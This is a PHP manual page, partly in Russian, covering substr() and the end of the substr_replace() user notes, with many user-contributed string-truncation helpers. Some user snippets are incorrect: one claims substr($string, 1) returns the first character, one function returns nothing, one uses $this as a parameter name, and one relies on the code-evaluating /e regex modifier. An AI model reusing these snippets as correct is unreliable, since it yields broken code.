    $tmp=substr($string,$start,$length);
    if($string!==$tmp) {
        $string = $tmp.$replacement;
    }
    return $string;
}
?>
kalim dot fleet at gmail dot com 10-Oct-2009 09:49
This will truncate a longer string to a smaller string of specified length while replacing the middle portion with a separator exactly in the middle.

<?php

$longString = 'abcdefghijklmnopqrstuvwxyz0123456789z.jpg';
$separator = '/.../';
$separatorlength = strlen($separator) ;
$maxlength = 25 - $separatorlength;
$start = $maxlength / 2 ;
$trunc =  strlen($longString) - $maxlength;

echo substr_replace($longString, $separator, $start, $trunc);

//prints "abcdefghij/.../56789z.jpg"

?>
admiral at nuclearpixel dot com 06-Oct-2009 11:54
Hey everyone, I was noticing that there are a lot of ways below that people are using to write their own string truncation functions, but it kinda seemed like a lot of them went a bit too far out to make any sense to a n00b. Not that I am one anymore, but I though I'd add a note on this topic myself, in hopes that it might help others understand things a little better.

Here's a concept that some people don't know about, or remember to use often enough; You can actually pull individual characters out of a string by referencing that string as though it were an array. Example: If I have the string $s = 'cat', I can use $s[0] to actually get out only the first character of that string, 'c'. I use that same principle below, but I just use a loop to iterate through a string and add the characters to the output variable one by one until the $lenth param has been reached, or until the end of the string.

I hope this can help someone out!

-Admiral Potato

<?php

function admiralsTruncate($string, $length){
    settype($string, 'string');
    settype($length, 'integer');
    for($a = 0; $a < $length AND $a < strlen($string); $a++){
        $output .= $string[$a];
    }
    return($output);
}

$my_string = 'cfcd208495d565ef66e7dff9f98764da';

echo admiralsTruncate($my_string, 6);    // outputs: cfcd20

echo '<br>';

echo admiralsTruncate($my_string, 9);    // outputs: cfcd20849

?>
billg AT microsoft.com 07-Apr-2009 07:31
Forget all of the mb_substr_replace() implementations mentioned in this page, they're all buggy.

Here is a version that mimics the behavior of substr_replace() exactly:

<?php

if (function_exists('mb_substr_replace') === false)
{
    function mb_substr_replace($string, $replacement, $start, $length = null, $encoding = null)
    {
        if (extension_loaded('mbstring') === true)
        {
            $string_length = (is_null($encoding) === true) ? mb_strlen($string) : mb_strlen($string, $encoding);

            if ($start < 0)
            {
                $start = max(0, $string_length + $start);
            }

            else if ($start > $string_length)
            {
                $start = $string_length;
            }

            if ($length < 0)
            {
                $length = max(0, $string_length - $start + $length);
            }

            else if ((is_null($length) === true) || ($length > $string_length))
            {
                $length = $string_length;
            }

            if (($start + $length) > $string_length)
            {
                $length = $string_length - $start;
            }

            if (is_null($encoding) === true)
            {
                return mb_substr($string, 0, $start) . $replacement . mb_substr($string, $start + $length, $string_length - $start - $length);
            }

            return mb_substr($string, 0, $start, $encoding) . $replacement . mb_substr($string, $start + $length, $string_length - $start - $length, $encoding);
        }

        return (is_null($length) === true) ? substr_replace($string, $replacement, $start) : substr_replace($string, $replacement, $start, $length);
    }
}

?>
juichenieder-phnet at yahoo dot co dot uk 25-Mar-2009 10:58
I've just taken a look at the post by ntoniazzi and I have a very small correction to make.

In the second if statement, it should be a triple equals, so:

<?php if ($length === null) ?>

It requires the triple equals, for the case of pure insertion, where $length = 0, the double equals, will catch this, causing the string to be cut short.  I hope this helps someone.
NiX0n at fragfest dot cx 09-Oct-2008 09:41
The preemptive test to see if $string is "too long" shouldn't add strlen($replacement) to $max.  $max should represent the absolute maximum length of string returned.  The size of the $replacement is irrelevant in that determination.

The rest of the function (unchanged below) operates as defined above.  Meaning, the size of the $replacement is subtracted from the $max, so that the returned string is exactly the length of $max.

<?php
function truncate($string, $max = 20, $replacement = '')
{
    if (strlen($string) <= $max)
    {
        return $string;
    }
    $leave = $max - strlen ($replacement);
    return substr_replace($string, $replacement, $leave);
}
?>
spcl dot delivery at gmail dot com 27-Jul-2008 04:14
the version of my predecessor will add $rep even if the string is shorter than max. fixed version:

<?php
function truncate($string, $max = 20, $rep = '')
{
    if (strlen($string) <= ($max + strlen($rep)))
    {
        return $string;
    }
    $leave = $max - strlen ($rep);
    return substr_replace($string, $rep, $leave);
}
?>

To preserve the filename extension you can call it like this:

truncate([filename], 30, '...' . end(explode('.', [filename])))
eblejr AT phrebh DOT com 04-Jun-2008 08:42
PHP version of Java's removeCharAt() function:

<?php
function removeCharAt($str, $int){
  return substr_replace($str,"",$int,1);
}
?>
William Barry 23-Apr-2008 12:18
I recently ran across a situation where I need to strip a heavily nested html list such that only the top level was preserved.  I started with a regular expression solution, but found that I kept matching the wrong closing ul with an outer opening ul.

This was my alternative solution, and it seems to work well:

<?php

function stripNestedLists($str)
{
    $str2 = $str;
    $lastStr = $str2;

    do
    {
        // Find the first closing ul
        $cul = strpos($str2, '</ul>');
        $ul = 0;
        $lastUL = 0;
        do
        {
            // Find the next opening ul
            $lastUL = $ul;
            $ul = strpos($str2, '<ul', $ul+1);
        }
        while ($ul !== false && $ul < $cul);

        $lastStr = $str2;
        $str2 = substr_replace($str2, '', $lastUL, $cul-$lastUL+5);
        $str2 = trim($str2);
    }
    while (strlen($str2) > 0);

    return $lastStr;
}

?>

Hope this helps someone.
jaimthorn at yahoo dot com 25-Mar-2008 10:53
I recently needed a routine that would remove the characters in one string from another, like the regex

<?php
   $result = preg_replace("/[$chars]/", "", $string);
?>

and I needed it to be fast, and accept pretty much all input.  The regex above won't work when strlen($chars) == 0.  I came up with this, admittedly pretty horrible-looking code, that is quite fast:

<?php

function RemoveChars($string, $chars)
{
    return isset($chars{0}) ? str_replace($chars{0}, "", strtr($string, $chars, str_pad($chars{0}, strlen($chars), $chars{0}))) : $string;
}

?>

According to my own measurements, the regex in ONLY faster for when strlen($chars) == 1; for longer strings, my routine is faster.  What does it do?  Let's say you want to remove the period, the comma and the exclamation mark from a string, like so:
$result = RemoveChars("Isn't this, like, totally neat..!?", ".?!");
The str_pad function creates a string equal in length to the string that contains the character to be removed, but consisting only of the first character of that string:
The input is ".,!"
The output is "..."
The strtr function translates all characters in the string-to-be-processed ("Isn't this...") that also occur in the input (".,!") to the characters in the same position in the output ("...").  In other words:
Isn't this, like, totally neat..!?
becomes
Isn't this. like. totally neat....
Finally, the first character from the input (".,!") which happens to be, again, the period, is removed from that string by the str_replace call:
Isn't this like totally neat?
The function needs to check is $chars has at least one character, or else the str_pad function will fail.  If it's empty, then the unprocessed string is returned.
ntoniazzi at sqli dot com 14-Feb-2008 01:07
Almost... In the previous note, change this :
<?php
    function mb_substr_replace($string, $replacement, $start, $length=null, $encoding=null) {
        if ($encoding == null) $encoding = mb_internal_encoding();
        if($start < 0) $start = mb_strlen($string) + $start;
    [...]
?>
alishahnovin at hotmail dot com 07-Aug-2007 12:56
I like the truncate function below...however, I found a few issues. Particularly if you have content that may have any kind of punctuation in it (?, !, ?!?, --, ..., .., ;, etc.)

The older function would end up looking like "blah blah?..." or "blah blah,..." which doesn't look so nice to me...

Here's my fix. It removes all trailing punctuation (that you include in the $punctuation string below) and then adds an ellipse. So even if it has an ellipse with 3 dots, 2 dots, 4 dots, it'll be removed, then re-added.

<?php
function truncate($text,$numb,$etc = "...") {
$text = html_entity_decode($text, ENT_QUOTES);
if (strlen($text) > $numb) {
$text = substr($text, 0, $numb);
$text = substr($text,0,strrpos($text," "));

$punctuation = ".!?:;,-"; //punctuation you want removed

$text = (strspn(strrev($text),  $punctuation)!=0)
        ?
        substr($text, 0, -strspn(strrev($text),  $punctuation))
        :
$text;

$text = $text.$etc;
}
$text = htmlentities($text, ENT_QUOTES);
return $text;
}
?>

I also needed a sort of "middle" truncate. The above function truncates around the end, but if you want to truncate around the middle (ie "Hello this is a long string." --> "Hello this ... long string.") you can use this (requires the truncate function):

<?php
function mtruncate($text, $numb, $etc = " ... ") {
    $first_part = truncate(truncate($text, strlen($text)/2, ""), $numb/2, "");
    $second_part = truncate(strrev(truncate(strrev($text), strlen($text)/2, "")), $numb/2, "");
    return $first_part.$etc.$second_part;
}
?>
chuayw2000 at hotmail dot com 09-Dec-2005 03:33
I don't know if this function is multibyte safe but I've written a function that will do the same in multibyte mode.

<?php
//Check to see if it exists in case PHP has this function later
if (!function_exists("mb_substr_replace")){
   //Same parameters as substr_replace with the extra encoding parameter.
    function mb_substr_replace($string,$replacement,$start,$length=null,$encoding = null){
        if ($encoding == null){
            if ($length == null){
                return mb_substr($string,0,$start).$replacement;
            }
            else{
                return mb_substr($string,0,$start).$replacement.mb_substr($string,$start + $length);
            }
        }
        else{
            if ($length == null){
                return mb_substr($string,0,$start,$encoding).$replacement;
            }
            else{
                return mb_substr($string,0,$start,$encoding). $replacement. mb_substr($string,$start + $length,mb_strlen($string,$encoding),$encoding);
            }
        }
    }
}
?>
hermes at andycostell dot com 27-Aug-2005 11:48
I suggest changing the function suggested by Guru Evi slightly. I found that it doesn't work as written here.

Original:
function add_3dots($string,$repl,$start,$limit) {
   if(strlen($string) > $limit) {
       return substr_replace(strip_tags($string),$repl,$start,$limit);
   } else {
       return $string;
   };
};

I suggest:
function add_3dots($string,$repl,$limit) {
       if(strlen($string) > $limit) {
           return substr_replace(strip_tags($string),$repl,$limit-strlen($repl));
       } else {
           return $string;
       }
    }

Usage:

$max_length=10;//the max number of characters you want to display
$too_long_string="BLAH BLAH BLAH BLAH BLAH etc.";//the string you want to shorten (if it's longer than the $limit)
$shorter_string=add_3_dots($too_long_string,"...",$max_length);
Guru Evi 13-Jul-2005 12:44
If your string is not long enough to meet what you specify in start and length then the replacement string is added towards the end of the string.

I wanted to replace the end of the string with ... if the string was too long to display (for instance article preview on a website). The problem was that my string was sometimes not that long and it still added the replacement string. So I wrote a function to replace substr_replace in my website:

function add_3dots($string,$repl,$start,$limit) {
    if(strlen($string) > $limit) {
        return substr_replace(strip_tags($string),$repl,$start,$limit);
    } else {
        return $string;
    };
};

I use strip_tags to strip out the HTML otherwise you might get a screwed up HTML (when a tags open in the string, but because you cut-off it doesn't)
danieldoorduin at hotmail dot com 10-Dec-2004 02:48
Using substr_replace() can be avoided by using substr() instead:

<?
$string = substr($string, 0, $position_needle).$replace.substr($string, $position_needle+$length_needle);
?>

This can be useful when you need to replace parts of multibyte strings like strings encoded with utf-8. There isn't a multibute variant for substr_replace(), but for php substr() there is mb_substr(). For more information on multibyte strings see http://nl3.php.net/manual/en/ref.mbstring.php
dmron 17-Jun-2004 04:34
Regarding "...", even the short functions are too long and complicated, and there's no need to use substr_replace. substr() works better and is  way faster prior to 4.3.5 as the below poster stated.

function shorten( $str, $num = 100 ) {
  if( strlen( $str ) > $num ) $str = substr( $str, 0, $num ) . "...";
  return $str;
}
tony at outshine dot com 10-May-2004 02:25
The comment by geniusdex is a good one.  Short, simple functions are the best.  But if the string is not longer than the limit set, NOTHING is returned.  Here is the function re-done to always return a string:

<?php
function dot($str, $len, $dots = "...") {
    if (strlen($str) > $len) {
        $dotlen = strlen($dots);
        $str = substr_replace($str, $dots, $len - $dotlen);
    }
    return $str;
}
?>
geniusdex ( at ) brz ( dot ) nu 23-Feb-2004 07:33
This is my version of making dotted strings:

<?php
function dot($str, $len, $dots = "...") {
    if (strlen($str) > $len) {
        $dotlen = strlen($dots);
        substr_replace($str, $dots, $len - $dotlen);
    }
}
?>
Thijs Wijnmaalen (thijs[at]nllinux.nl) 20-Jan-2004 11:05
I wrote a function that you can use for example in combination with a search script to cut off the articles that are too long.

<?php
function substr_index($text, $maxChars = 20, $splitter
= '...') {

$theReturn = $text;
$lastSpace = false;

if (strlen($text) > $maxChars) {
$theReturn = substr($text, 0, $maxChars - 1);

if (in_array(substr($text, $maxChars - 1, 1),
array(' ', '.', '!', '?'))) {
$theReturn .= substr($text, $maxChars, 1);
} else {
$theReturn = substr($theReturn, 0, $maxChars -
strlen($splitter));
$lastSpace = strrpos($theReturn, ' ');

if ($lastSpace !== false) {
$theReturn = substr($theReturn, 0, $lastSpace);
}

if (in_array(substr($theReturn, -1, 1), array(','))) {
$theReturn = substr($theReturn, 0, -1);
}
$theReturn .= $splitter;
}
}
return $theReturn;
}
?>
david at ethinkn dot com 05-Jul-2003 05:36
Here is a simple function to shorten a string and add an ellipsis

<?php

/**
 * truncate() Simple function to shorten a string and add an ellipsis
 *
 * @param string $string Origonal string
 * @param integer $max Maximum length
 * @param string $rep Replace with... (Default = '' - No elipsis -)
 * @return string
 * @author David Duong
 **/
function truncate ($string, $max = 50, $rep = '') {
    $leave = $max - strlen ($rep);
    return substr_replace($string, $rep, $leave);
}

echo truncate ('akfhslakdhglksjdgh', 10, '...');
// Returns akfhsla... (10 chrs)

?>
thomasNOSPAM at sportentranceNOSPAM dot com 08-Oct-2002 03:01
To abbreviate links into '...' if they outreach a certain amount of space; use the preg_replace function instead.

For instance you grabbed the headlines of a news site for use on your own page and the lines are to long:

asuming the raw material is stored in $unedited;

$edited = preg_replace("/(>)([[:print:]]{52,})(<)/e", "'\\1'.substr_replace('\\2 ', '...', '48').'\\3'", $unedited);
echo $edited;

This will shorten strings longer than 52 characters into 51 characters, with the last being three dots...
klaas at group94 dot com 13-Feb-2002 10:38
THE DOT DOT DOT ISSUE

PROBLEM:
You want to abbreviate a string.
E.g. You want "BritneySpears" to show as "BritneySpe...", being only the ten first characters followed by "..."

SOLUTION:
<?
$oRIGINAL = "BritneySpears";
$sHORTER = substr_replace($oRIGINAL, '...', 10);
echo ($sHORTER);
?>

This will result in BritneySpe...
28-Sep-2001 08:30
If you would like to remove characters from the start or end of a string, try the substr() function.

For example, to remove the last three characters from a string:
$string = "To be or not to be.";
$string = substr ($string, 0, -3);
mrbrown8 at juno dot com 16-Apr-2001 12:16
Just to add to the examples, if replacement is longer than length, only the length number of chars are removed from string and all of replacement is put in its place, and therefor strlen($string) is inreased.

$var = 'ABCDEFGH:/MNRPQR/';
/*  Should return ABCDEFGH:/testingRPQR/   */
echo substr_replace ($var, 'testing', 10, 2);


Возвращает подстроку

  • « substr_replace
  • trim »
  • PHP Manual
  • Функции для работы со строками
  • Возвращает подстроку

substr

(PHP 4, PHP 5, PHP 7, PHP 8)

substr — Возвращает подстроку

Описание

substr(string $string, int $offset, ?int $length = null): string

Функция возвращает часть строки string. Начало подстроки указывают в параметре offset, а длину — в параметре length.

Список параметров

string

Входная строка.

offset

Если смещение offset неотрицательно, возвращаемая подстрока начинается с позиции offset от начала строки, считая с нуля. Например, в строке «abcdef», на позиции 0 находится символ «a», на позиции 2 — символ «c» и т. д.

Если смещение offset отрицательно, возвращаемая подстрока начинается с позиции, которая отстаёт на offset символов от конца строки string.

Если длина строки string меньше смещения offset символов, функция вернёт пустую строку.

Пример #1 Пример с отрицательным смещением offset

<?php

$rest = substr("abcdef", -1); // Возвращает «f»
$rest = substr("abcdef", -2); // Возвращает «ef»
$rest = substr("abcdef", -3, 1); // Возвращает «d»

?>

length

Если значение length положительно, возвращаемая строка будет не длиннее length символов, начиная с параметра offset (в зависимости от длины строки string).

Если значение параметра length отрицательно, будет отброшено заданное этим аргументом число символов с конца строки string (после вычисления стартовой позиции, если смещение offset отрицательно). Если при этом позиция начала подстроки, которую определил аргумент offset, находится в отброшенной части строки или за ней, возвращается пустая строка.

Если параметр length задали и значение равно 0, функция вернёт пустую строку.

Если параметр length не указали или значение равно null, функция вернёт подстроку, которая начинается с позиции значения offset и длится до конца строки.

Пример #2 Пример с отрицательным значением параметра length

<?php

$rest = substr("abcdef", 0, -1); // Возвращает «abcde»
$rest = substr("abcdef", 2, -1); // Возвращает «cde»
$rest = substr("abcdef", 4, -4); // Возвращает «»; до PHP 8.0.0 возвращалось false
$rest = substr("abcdef", -3, -1); // Возвращает «de»

?>

Возвращаемые значения

Функция возвращает извлечённую часть строки string или пустую строку.

Список изменений

Версия | Описание
8.0.0 | Параметр length теперь принимает значение null. Если значение параметра length явно задали как null, функция возвращает подстроку, которая заканчивается в конце строки; раньше возвращалась пустая строка.
8.0.0 | Функция возвращает пустую строку там, где раньше возвращала false.

Примеры

Пример #3 Базовое использование функции substr()

<?php

echo substr('abcdef', 1); // bcdef
echo substr("abcdef", 1, null); // bcdef; до PHP 8.0.0 возвращалась пустая строка
echo substr('abcdef', 1, 3); // bcd
echo substr('abcdef', 0, 4); // abcd
echo substr('abcdef', 0, 8); // abcdef
echo substr('abcdef', -1, 1); // f

// Получить доступ к отдельному символу в строке
// можно также с помощью квадратных скобок
$string = 'abcdef';
echo $string[0]; // a
echo $string[3]; // d
echo $string[strlen($string)-1]; // f

?>

Пример #4 Функция substr() и приведение типов

<?php

class apple
{
public function __toString()
{
return "green";
}
}

echo "1) ".var_export(substr("pear", 0, 2), true).PHP_EOL;
echo "2) ".var_export(substr(54321, 0, 2), true).PHP_EOL;
echo "3) ".var_export(substr(new apple(), 0, 2), true).PHP_EOL;
echo "4) ".var_export(substr(true, 0, 1), true).PHP_EOL;
echo "5) ".var_export(substr(false, 0, 1), true).PHP_EOL;
echo "6) ".var_export(substr("", 0, 1), true).PHP_EOL;
echo "7) ".var_export(substr(1.2e3, 0, 4), true).PHP_EOL;

?>

Результат выполнения приведённого примера:

1) 'pe'
2) '54'
3) 'gr'
4) '1'
5) ''
6) ''
7) '1200'

Пример #5 Недопустимый диапазон символов

Если запрашивается недопустимый диапазон символов, функция substr() начиная с PHP 8.0.0 возвращает пустую строку; раньше возвращалось false.

<?php

var_dump(substr('a', 2));

?>

Результат выполнения приведённого примера в PHP 8:

string(0) ""

Результат выполнения приведённого примера в PHP 7:

bool(false)

Смотрите также

  • strrchr() - Находит последнее вхождение символа в строке
  • substr_replace() - Заменяет часть строки
  • preg_match() - Выполняет проверку на соответствие регулярному выражению
  • trim() - Удаляет пробелы (или другие символы) из начала и конца строки
  • mb_substr() - Возвращает часть строки
  • wordwrap() - Переносит строку по указанному количеству символов
  • Посимвольный доступ и изменение строки

User Contributed Notes

robinhood70 at live dot ca 04-Jun-2021 05:45
Prior to PHP 8, specifying length with zero-length strings or non-string values as input can produce potentially unexpected results.

<?php
foreach (['normal', '', true, false, NULL] as $value) {
    echo gettype(substr($value, 0, 10)) . ' ' . substr($value, 0, 10);
}

/*
string normal
boolean
string 1
boolean
boolean
*/
?>
man13or at hotmail dot fr 30-Oct-2019 08:01
Shortcuts :

Getting the first character of a string
substr($string, 1)

Getting the last character of a string
substr($string, -1)

Remove the first character of a string
substr($string,1)

Remove the last character of a string
substr($string, 0, -1)
Anonymous 15-Nov-2017 01:17
Be aware of a slight inconsistency between substr and mb_substr

mb_substr("", 4);      returns empty string

substr("", 4);              returns boolean false

tested in PHP 7.1.11 (Fedora 26) and PHP 5.4.16 (CentOS 7.4)
m.m.j.kronenburg 06-Sep-2016 10:46
<?php

/**
  * Returns and extracts the portion of string specified by the
  * start and length parameters from the original string.
  *
  * This function is simulair to function substr() except that it
  * removes the substring from the orignal string
  * (passed by reference).
  *
  * @param string $string      The input string.
  * @param integer $start      The start position (see substr() for
  *                            explanation).
  * @param integer $length     The length (see substr()
  *                            for explanation).
  * @return mixed              The substring or FALSE (see substr()
  *                            for explanation).
  **/
function substrex(&$string, $start, $length = PHP_INT_MAX)
{
  if($start > strlen($string)) { return false; }
  if(empty($length))           { return ''; }
  if($start < 0) { $start = max(0, $start + strlen($string)); }
  $end = ($length < 0) ?
    strlen($string) + $length :
    min(strlen($string), $start + $length);
  if($end < $start) { return false; }
  $length = $end - $start;
  $substr = substr($string, $start, $length);
  $string = substr($string, 0, $start).substr($string, $end);
  return $substr;
}

?>
Nadeem 03-Jun-2014 08:16
Truncate a float number. Similar to the Excel trunc function.

<?php
function truncate_number($val,$decimals=2){

        $number=array();
        $number=explode(".",$val);
        $result=0;

        if (count($number)>1){

            $result = $number[0] . "." . substr($number[1],0,$decimals);

        } else {

            $result = $val;

        }

        unset($number);

        return $result;
}

echo truncate_number(99.123456,2); //result = 99.12
echo truncate_number(99.123456,5); //result = 99.12345
echo truncate_number(99.123456,1); //result = 99.1
?>
fatihmertdogancan at hotmail dot com 26-Jan-2014 08:28
[English]
I created python similar accesing list or string with php substr & strrev functions.

Use: str($string,$pattern)

About the python pattern,
http://docs.python.org/release/1.5.1p1/tut/strings.html
http://effbot.org/zone/python-list.htm

About of pattern structures
[start:stop:step]

Example,
<?php
$s = "fatihmertdogancan";
echo str($s,"1:9:-2");
echo "<br/>";
echo str($s,"1:-3:-2");
echo "<br/>";
echo str($s,"1:-11:-5");
echo "<br/>";
echo str($s,"1:9:4");
?>

Output,
thetoacn
eht
aom
htan

This is function phpfiddle link: http://phpfiddle.org/main/code/e82-y5d

or source;

<?php
    function str($str,$pattern){
        //[start:stop:step]
        //pattern ->            ([-]?[0-9]*|\s):([-]?[0-9]*|\s):([-]?[0-9]*|\s)
        preg_match("/([-]?[0-9]*|\s?):([-]?[0-9]*|\s?):?([-]?[0-9]*|\s?)/", $pattern, $yakala);
        $start = $yakala[1];
        $stop = $yakala[2];
        $step = $yakala[3];

        if(empty($start) && empty($stop) && $step == "-1"){//istisna durum
            return strrev($str);
        }else if(empty($start) && empty($stop) && isset($step)){//istisna durum
            $rev = "";
            $yeni = "";
            if($step[0] == "-" && $stop != "-1"){$rev = "VAR";}
            $atla = abs($step);
            for($i = 0; $i <= strlen($str); $i++){
                $offset = $i*$atla;
                if(isset($str[$offset])){
                    $yeni = $yeni.$str[$offset];
                }
            }
            if($rev != "VAR"){
                return substr($yeni,0,strlen($str)-1);
                //"hepsi bos, step dolu o da +";
            }else{
                return strrev(substr($yeni,0,strlen($str)-1));
                //"hepsi bos, step dolu o da -";
            }
        }

        if(empty($start) && empty($stop) && empty($step)){
            return $str;
            //"hepsi bos";
        }else if(empty($start)){
            if(isset($stop) && empty($step)){
                $rev = "";
                if($stop[0] == "-"){$rev = "VAR";}
                if($rev != "VAR"){
                    return substr($str,0,$stop);
                    //"start ve step bos, stop dolu"
                }else{
                    return strrev(substr($str,0,$stop));
                    //"start ve step bos, stop -1";
                }
            }else if(isset($stop) && isset($step)){
                $rev = "";
                if($stop[0] == "-"){$rev = "VAR";}
                $yeni = "";
                if($step == 1){
                    if($rev != "VAR"){
                        return $str;
                        //"start bos, stop ve step dolu, step 1";
                    }else{
                        return strrev(substr($str,0,abs($stop))); //abs -> mutlak deger (-5 = 5)
                        //"start bos, stop -, step dolu, step 1";
                    }
                }else{
                    $atla = abs($step);
                    for($i = 0; $i <= strlen($str); $i++){
                        $offset = $i*$atla;
                        if(isset($str[$offset])){
                            $yeni = $yeni.$str[$offset];
                        }
                    }
                    if($rev != "VAR"){
                        return substr($yeni,0,$stop);
                        //"start bos, step ve stop dolu";
                    }else{
                        return strrev(substr($yeni,0,abs($stop)));
                        //"start bos, step ve stop -";
                    }
                }
            }
        //start bos degilse
        }else if(!empty($start)){
            if(isset($stop) && empty($step)){
                $rev = "";
                if($stop[0] == "-"){$rev = "VAR";}
                if($rev != "VAR"){
                    return substr($str,$start,$stop);
                    //return "step bos, start ve stop dolu";
                }else{
                    return strrev(substr($str,0,abs($stop)));
                    //"step bos, start ve stop dolu, stop -";
                }
            }else if(isset($stop) && isset($step)){

                //hepsi dolu
                $rev = "";
                if($stop[0] == "-"){$rev = "VAR";}
                $yeni = "";
                if($step == 1){
                    if($rev != "VAR"){
                        return substr($str,$start,$stop);
                        //"hepsi dolu, step 1";
                    }else{
                        return substr($str,$start,abs($stop));
                        //"hepsi dolu, step 1, stop -";
                    }
                }else{
                    if($stop[0] == "-"){$rev = "VAR";}
                    $atla = abs($step);
                    for($i = 0; $i <= strlen($str); $i++){
                        $offset = $i*$atla;
                        if(isset($str[$offset])){
                            $yeni = $yeni.$str[$offset];
                        }
                    }
                    if($rev != "VAR"){
                        return substr($yeni,$start,$stop);
                        //"hepsi dolu";
                    }else{
                        return strrev(substr($yeni,$start,abs($stop)));
                        //"hepsi dolu, stop -";
                    }
                }
            }
        }
    }
?>

Good works..
greg at apparel dot com 20-Nov-2013 05:28
Coming to PHP from classic ASP I am used to the Left() and Right() functions built into ASP so I did a quick PHPversion. hope these help someone else making the switch

function left($str, $length) {
    return substr($str, 0, $length);
}

function right($str, $length) {
    return substr($str, -$length);
}
biohazard dot ge at gmail dot com 15-Jul-2013 02:30
may be by following functions will be easier to extract the needed sub parts from a string:

<?php
after ('@', 'biohazard@online.ge');
//returns 'online.ge'
//from the first occurrence of '@'

before ('@', 'biohazard@online.ge');
//returns 'biohazard'
//from the first occurrence of '@'

between ('@', '.', 'biohazard@online.ge');
//returns 'online'
//from the first occurrence of '@'

after_last ('[', 'sin[90]*cos[180]');
//returns '180]'
//from the last occurrence of '['

before_last ('[', 'sin[90]*cos[180]');
//returns 'sin[90]*cos['
//from the last occurrence of '['

between_last ('[', ']', 'sin[90]*cos[180]');
//returns '180'
//from the last occurrence of '['
?>

here comes the source:

<?php

    function after ($this, $inthat)
    {
        if (!is_bool(strpos($inthat, $this)))
        return substr($inthat, strpos($inthat,$this)+strlen($this));
    };

    function after_last ($this, $inthat)
    {
        if (!is_bool(strrevpos($inthat, $this)))
        return substr($inthat, strrevpos($inthat, $this)+strlen($this));
    };

    function before ($this, $inthat)
    {
        return substr($inthat, 0, strpos($inthat, $this));
    };

    function before_last ($this, $inthat)
    {
        return substr($inthat, 0, strrevpos($inthat, $this));
    };

    function between ($this, $that, $inthat)
    {
        return before ($that, after($this, $inthat));
    };

    function between_last ($this, $that, $inthat)
    {
     return after_last($this, before_last($that, $inthat));
    };

// use strrevpos function in case your php version does not include it
function strrevpos($instr, $needle)
{
    $rev_pos = strpos (strrev($instr), strrev($needle));
    if ($rev_pos===false) return false;
    else return strlen($instr) - $rev_pos - strlen($needle);
};
?>
pugazhenthi k 18-Jan-2013 09:57
<?Php

### SUB STRING  BY WORD USING substr() and strpos()  #####

### THIS SCRIPT WILL RETURN PART OF STRING  WITHOUT WORD BREAK ###

$description = 'your description here your description here your description here your description here your description here your description here your description hereyour description here your description here'  // your description here .

$no_letter = 30 ;

if(strlen($desctiption) > 30 )
{
     echo substr($description,0,strpos($description,' ',30));             //strpos to find ' ' after 30 characters.
}
else {
     echo $description;
}

?>
pheagey at gmail dot com 15-Jun-2012 02:27
Using a 0 as the last parameter for substr().

As per examples
<?php $var = substr($var, 4); ?>

works no problem. However
<?php $var = substr($var, 4, 0); ?>

will get you nothing. Just a quick heads up
leon weidauer 08-Jul-2011 01:07
When using a value of a wrong type as second parameter , substr() does not return FALSE but NULL although the docs say, it should return FALSE on error.

Prior to PHP 5.3, substr() tries to cast the second parameter to int and doesn't throw any errors. Since PHP 5.3 a warning is thrown.
Quicker 06-May-2011 04:17
If you need to parse utf-8 strings char by char, try this one:

<?php
     $utf8marker=chr(128);
     $count=0;
     while(isset($string{$count})){
       if($string{$count}>=$utf8marker) {
         $parsechar=substr($string,$count,2);
         $count+=2;
       } else {
         $parsechar=$string{$count};
         $count++;
       }
       /* do what you like with parsechar ... , eg.:*/  echo $parsechar."<BR>\r\n";
     }
?>

- it works without mb_substr
- it is fast, because it grabs characters based on indexes  when possible and avoids any count and split functions
slow at acedsl dot com 28-Mar-2011 01:47
Anyone coming from the Python world will be accustomed to making substrings by using a "slice index" on a string.  The following function emulates basic Python string slice behavior. (A more elaborate version could be made to support array input as well as string, and the optional third "step" argument.)

<?php

function py_slice($input, $slice) {
    $arg = explode(':', $slice);
    $start = intval($arg[0]);
    if ($start < 0) {
        $start += strlen($input);
    }
    if (count($arg) === 1) {
        return substr($input, $start, 1);
    }
    if (trim($arg[1]) === '') {
        return substr($input, $start);
    }
    $end = intval($arg[1]);
    if ($end < 0) {
        $end += strlen($input);
    }
    return substr($input, $start, $end - $start);
}

print py_slice('abcdefg', '2') . "\n";
print py_slice('abcdefg', '2:4') . "\n";
print py_slice('abcdefg', '2:') . "\n";
print py_slice('abcdefg', ':4') . "\n";
print py_slice('abcdefg', ':-3') . "\n";
print py_slice('abcdefg', '-3:') . "\n";

?>

The $slice parameter can be a single character index, or a range separated by a colon. The start of the range is inclusive and the end is exclusive, which may be  counterintuitive. (Eg, py_slice('abcdefg', '2:4') yields 'cd' not 'cde'). A negative range value means to count from the end of the string instead of the beginning. Both the start and end of the range may be omitted; the start defaults to 0 and the end defaults to the total length of the input.

The output from the examples:
c
cd
cdefg
abcd
abcd
efg
nikolai dot wuestemann at t-online dot de 14-Jan-2011 08:56
If you want to have a string BETWEEN two strings, just use this function:

<?php
function get_between($input, $start, $end)
{
  $substr = substr($input, strlen($start)+strpos($input, $start), (strlen($input) - strpos($input, $end))*(-1));
  return $substr;
}

//Example:

$string = "123456789";
$a = "12";
$b = "9";

echo get_between($string, $a, $b);

//Output:
//345678
?>
Cristianlf 29-Oct-2010 02:10
I needed a function like lpad from oracle, or right from SQL
 then I use this code :

<?php
function right($string,$chars)
{
    $vright = substr($string, strlen($string)-$chars,$chars);
    return $vright;

}

    echo right('0r0j4152',4);
?>

Result:
 4152
------------------------------------------------
This function is really simple, I just wanted to share, maybe helps someone out there.

regards,
vnonov at gmail dot com / Viktor Nonov 28-Jan-2010 10:32
<?php

//removes string from the end of other

function removeFromEnd($string, $stringToRemove) {
    $stringToRemoveLen = strlen($stringToRemove);
    $stringLen = strlen($string);

    $pos = $stringLen - $stringToRemoveLen;

    $out = substr($string, 0, $pos);

    return $out;
}

$string = 'picture.jpg.jpg';
$string = removeFromEnd($string, '.jpg');
?>
gkhelloworld at gmail dot com 26-Jul-2009 03:39
Shortens the filename and its expansion has seen.

<?php
$file = "Hellothisfilehasmorethan30charactersandthisfayl.exe";

function funclongwords($file)
{
if (strlen($file) > 30)
{
$vartypesf = strrchr($file,".");
$vartypesf_len = strlen($vartypesf);
$word_l_w = substr($file,0,15);
$word_r_w = substr($file,-15);
$word_r_a = substr($word_r_w,0,-$vartypesf_len);

return $word_l_w."...".$word_r_a.$vartypesf;
}
else
return $file;
}
// RETURN: Hellothisfileha...andthisfayl.exe
?>
kaysar in ymail in com 07-Jun-2009 11:58
Drop extensions of a file (even from a file location string)

<?php

$filename = "c:/some dir/abc defg. hi.jklmn";

echo substr($filename, 0, (strlen ($filename)) - (strlen (strrchr($filename,'.'))));

?>

